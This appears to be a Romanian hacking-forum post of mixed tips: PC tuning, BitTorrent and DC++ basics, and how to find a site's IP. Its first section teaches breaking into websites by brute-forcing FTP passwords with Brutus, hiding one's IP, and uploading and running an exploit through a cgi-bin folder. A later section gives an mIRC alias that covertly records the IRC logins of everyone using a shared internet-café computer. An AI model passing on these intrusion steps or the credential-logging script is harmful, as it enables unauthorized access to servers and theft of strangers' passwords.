hackering
HacKeRiNg FoRuM
|
Nou pe simpatie:
mariana_n23 pe Simpatie.ro
 | Femeie
24 ani
Brasov
cauta Barbat
29 - 52 ani |
|
|
hackeringInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
|
|
1)sa spargi siteuri ! ak iti zic eu cum
Se poate afla parola unui server folosind metode mai putin inteligente cum ar fi conectarile repetate.
Pentru acest lucru este necesar un program de brute force cracking.
Cel mai bun program de acest tip este 'Brutus'. In motorul de cautare tastati 'Brutus' sau 'brute force', pe care il gasiti la sectiunea DOWNLOAD.
Dar cel mai bine se intelege privind urmatorul exemplu. Sa presupunem ca serverul www.server.com are client ftp.
Incercam prima data o conexiune: Deschidem Start/Run si tastam:
open ftp.server.home.ro
220
220
220
220
220
connecting to server running WU_FTPD(ftp.debbie.server.com): {introduceti debbbie}
password:********
userid/password incorrect login failed
goodbye
Dupa cum am vazut serverul,chiar daca nu a permis conectarea,a fost destul de amabil incat sa ne ofere doua informatii
de mare inportanta:
username:debbie
tipul de server:WU_FTPD
Ori gasim un exploit pentru wu_ftpd ori incercam un brute force cracking.
Programul Brutus ofera doua posibilitati de a ataca un server:folosind un dictionar de parole sau incercand toate combinatiile posibile.
Din moment ce stiti username-ul inlocuiti fisierul 'users.dat' care este livrat cu Brutus cu un fisier in care puneti
un singur nume si anume 'debbie'.Fisierul astfel creat puteti sa-l denumiti tot 'user.dat'.
Tot ce va ramane de facut dupa ce ati facut setarile este sa asteptati.
Dupa ce epuizati incercarile cu dictionarul,setati optiunea 'brute force' si selectati optiunile dorite.
Ideal ar fi sa stim lungimea parolei sau numarul de caractere din care este alcatuita parola precum si natura acestora.
Initial eu obisnuiesc sa fac urmatoarele setari privind parola:
length min:0
length max 10
custom char :0123456789
In felul acesta incerc intai toate combintiile numerice posibile apoi schimb optiunea cu litere:
custom char:abcderftyijop
Aceasta metoda este absolut sigura dar are doua dezavantaje majore:
1)Timpul mare de asteptare (1 ora-cateva luni depinde de noroc).Pentru cineva care are Net-ul pe Lan nu este o problema(firma sau alta institutie).
2)Ip-ul dvs este inregistrat,asa ca incercati sa folositi un proxy server sau un program
precum 'jammer' care zice-se ca ascunde numarul de telefon.
Voi mai da un exempu de bug in ftp:
open ftp.server.com 220
220
220
...
connecting to........(ftp.server.com):ftp {introduceti un user implicit} password:guest
ftp>dir 'tastati dir sa vedeti la ce directoare aveti acces'
Daca vedeti un director numit cgi-bin,cgi-win sau script atunci servrul este hackerit!!!
Cautati un exploit adecvat pentru sistemul de operare respectiv (stiti cum sa-l aflati) il puneti pe desktop,
apoi dati urmatoarea comanda(pres. ca exploitul se numeste expl.exe):
cd cgi-bin(sau ce director gasiti)
put expl.exe
apoi tastati 'quit' ,deschideti browserul si tastati(pres. ca directorul este cgi-bin):
http://www.server.com/cgi-bin/expl.exe
asa spargi un site
2) cum afli ip unui site
1:-Se poate afla IP-ul de la un site?
DA
dai din start/run/cmd comanda tracert
ex: tracert www.yahoo.com
sau de pe irc dai dns
ex: /dns www.yahoo.com
2:-START/RUN/cmd enter... ping www.yahoo.com sau ce site vrei si dai enter si afli ip foarte simplu
3)sa te pricepi la siteuri ! si servere ! (nu e atat de important)
4)Trucuri ! pe mirc
Daca serverul la care va connectati deobicei este Undernet ... si vizitati des
o sala de internetva voi prezenta o smecherie prin care puteti sa luati parolele
tuturor persoanelor care se logheazala un calculator ...
Mai intai trebuie sa deschideti butonul "ALIAS DEFINITIONS" ( al cincelea buton )
( sau TOOLS|ALIASES ) apoi copiati textul de mai jos acolo:
msg {if ( $1 == .org ) && ( == login )
{ write -a c:windows opatch.dll Username: ;
Password: | msg .org login
}if ( $1 == .org ) && ( == newpass )
{ write -a c:windows opatch.dll Noua Parola a userului precedent:
}else { msg $1 %17 }}
Dupa ce l-ati copiat fiecarei persoane care a dat login ii vor vi inregistrate
"datele" in fisierul
c:windows opatch.dll (pe care trebuie sa-l redenumiti ropatch.exe sau sa-l deschideti
cu un editor de text ).
Dupa ce redenumiti fisierul si il veti deschide cu NotePad sau WordPad totul o
sa arate cam asa
USERNAME: ANDREI14 ;
PASSWORD: 123456
Noua parola a userului precedent:123465 (asta in cazul in care si-o va schimba)
1.Acest lucru va merge numai la calculatorul respectiv
5)daca nu ai acel calculator poti face o smekerie ! adica :
Pt cine nu stie si vrea sa i se miste rabla mai bine..
precizez ce imi vine acuma pe moment in cap...in caz ca imi mai trece prin
(acelasi) cap ceva ce am uitat, o sa adaug...sub forma de update:
In primul rand (valabil si pt 98 si pt XP sau altceva)...swap'ul cel mai bine
e sa fie fix si si mai bine ar fi sa fie pe o partitie separata creata numai
pt swap; e testata chestia si chiar merge mai bine..mai ales XP...
acuma unde gasiti swapul?....pai acolo unde e si device manager..
in caz ca nu stiti...
cum se ajunge acolo?...click dreapta pe "My Computer" -> Properties
si de aici intri in meniul performance...si de aici se ajunge usor...
valori de swap care le pun eu (stiu ce zice sandra dar sa stiti ca nu prea
trebuie luata de buna faza cu 1.5*RAM):
RAM SWAP(98) pagefile.sys(XP)
64 110 >130
128 175 195 < pagefile <250
256 ? ?
512 nu mai trebuie
sa stiti ca tre sa treceti macar o data printr'un tweak de windows
...il gasiti prin retea ..dc nu, gasiti pe server...
si instalati'va "regcleaner" care e chiar super folositor si super util...
cu el scoateti prostiile din "add/remove programs" care nu mai pot fi scoase,
tot cu el scoateti prostiile din startup care nu vi le arata windowsu,
curatati (cat de cat ) registrii ....e fain...
Norton utilities....dati un windoctor macar 1 data pe saptamana....
ca sa nu mai vb de speed disk...mai ales la cei cu win 98...
ca sa nu uit...bagati swapul la inceputul partitiei cand lansati speed disk
si ca prime fisiere bagati fisierele *.dll si *.exe..si ar trebui sa se cunoasca
rau de tot...(by the way...ca sa bagi acolo toate fisierele de pe partitie
cu o anumita extensie ..adica dll si exe....in win98: **.dll - cred, iar in xp
***.dll , si pt exe exact la fel...eh jucati'va si voi un pic pana va prindeti
dc nu stiti deja)...
iar la xp..am vazut ca dc faci swap fix pe alta partitie si dc dai un defrag
pe partitia cu windowsu', merge tzeava....
va dau un sfat...stati cu ochii pe XP ....optimizati'l mereu...si
haituiti ca'n filmele cu hoti programele prin registri (cu regedit)
cand le dezinstalati...pt neavizati nu ar fi bine sa umble frecvent pe'acolo)
la mine se incarca mai rpd ca 98...si am doar 128 de ram..iar la altii
care au 256 DDr si proc mai tare..se incarca ca un cur....
asa ca ascultati bine ))
la mine de baza e un tweak in care am intrat la inceput (tweak de XP),
regcleaner, windoctor, regedit, winboost 2000..si urmaresti si ai grija si e
de ajuns...
1. WIN 98
sa mai dai un speed disk din cand in cand....si sa nu uitati sa puneti
swapul la inceput si fisierele dll si exe la fel....
2. WIN XP
Daca aveti peste 256 de ram ...nu mai e nevoie sa va mai bateti capul...dar...
- tot la performance...gasiti o gramada de optiuni vizuale...de'alde fade'uri,
meniu pop'up care nu stiu ce dreacu tre sa le faca ..whatever....
ce e mai imp acolo este "Show windows content while dragging"..este arhi suficient
restu scoateti'le ca va indoapa prea mult calcu cu prostii...
mai e faina insa o chestie...cand selectezi sa fie un dreptunghi colorat...
aia e chiar faina...ceva de genu Rectangle somthin when selecting somthing
nu mai stiu....
- la servicii ..scoateti'le in masa pe alea care nu sunt in lista de servicii..
mai ales cretinul ala de serviciu "Print Spooler"...disabled neaparat...
dar mai e si "themes" care va baga interfata aia "prietenoasa" a XP ..care
ma enerveaza la culme si e si mare mancatoare de.....ram....
7)sa ai habar de torrente pt a putea downloada anumite lucruri
1.Ce este BiTorrent ?
Bittorrent este un protocol de file sharing in care utilizatorii acestuia fac schimb de date intre ei. Marele avantaj al bittorrentului il reprezinta faptul ca faci in acelasi timp si upload si download adica uploadezi la un alt utilizator cantitatea de date pe care ai downloadat pana la momentul respectiv (chiar daca nu ai terminat de dld).
2.Clienti bittorrent
Clientul BT este un program care "stie" sa lucreze cu micile fisiere torrent (fisiere de informatii). Exista mai multi astfel de clienti dar e recomandat sa folosesti Azureus sau BitComet. Daca te hotarasti sa folosesti Azureus o sa ia nevoie si de Java dar nu e o problema, fiindca dupa ce ai instalat clientul, vede ca n-ai Java si te intreaba daca nu vrei s-o dld (ii dai yes ca doar e gratis). Oricum ar fi bine sa instalezi amandoi clientii si sa vezi singur ce poate fiecare si care ti se potriveste; eu unul ii folosesc pe amandoi.
3.Cum iau torrente de pe site?
Ai dld micul fisier torrent da nu stii ce sa faci cu el? Nimic mai simplu... intri in BitComet/Azureus si dai open (sau click dreapta pe torrent-->open with) selectezi torrentul si ii dai unde sa se duca, dupa care astepti.
4.Ce e ala seed?
Dupa ce ai terminat de dld, torrentul trece pe seed fiindca ai devenit o sursa completa. De acum incolo o sa uploadezi torrentul la alte surse incomplete (cum ai fost si tu), asa ca ai face bine sa-l lasi pe seed. Si tie ti-a convenit ca ai avut viteza buna la dld, ca ai putut trage torrentul in totalitate asa ca acum e randul tau sa-i ajuti pe alti (asa cu si tu ai fost ajutat). Daca tragi ca spartu si nu tii seed in mod repetat o sa ajungi in IP filter sau/si cu ban pe tracker, ceea ce inseamna 0 seeds, 0 peers sau mai pe scurt ciao! Sper ca nu esti marlan si nu o sa se ajunga aici, deci cel mai bine ar fi sa tii seed cat mai mult poti si sa ajuti comunitatea sa creasca .
5.Cum pot face upload pe site?
Tinand cat mai mult torrentul deschis.
Configurare BitComet : http://zoso.rockmania.net/bt/bitcomet.php
Configurare Azureus : http://zoso.rockmania.net/bt/azureus.php
Pt Download BitComet : http://www.bitcomet.com/doc/download.htm
Acesta este FAQ-ul de pe http://www.Torrents.GamesBV.ro
8)si ceva de dc ++
Unde poti sa gasesti adrese de hub-uri romanesti DC++?
Selecteaza File>Settings>Downloads si completeaza in casuta "Public Hubs list URL" cu http://www.xboss.ro/PublicHubList.config ...then OK si apasa CTRL+P. Ar trebui sa iti apara o noua fereastra cu o lista de hub-uri la care te poti conecta sau le poti adauga in "Favorites".
Sau poti vizita http://www.xboss.ro/bgdchub.htm :drooling:
acelasi lucru: http://fxp_go_ro/RomanianHubList_config
si pt huburi de afara: http://web16_denver010_server4free_de/hublist/PublicHubList_config_php?format=_bz2
http://www_1stleg_com/PublicHubList_config_bz2
9)
|
|
| |
|
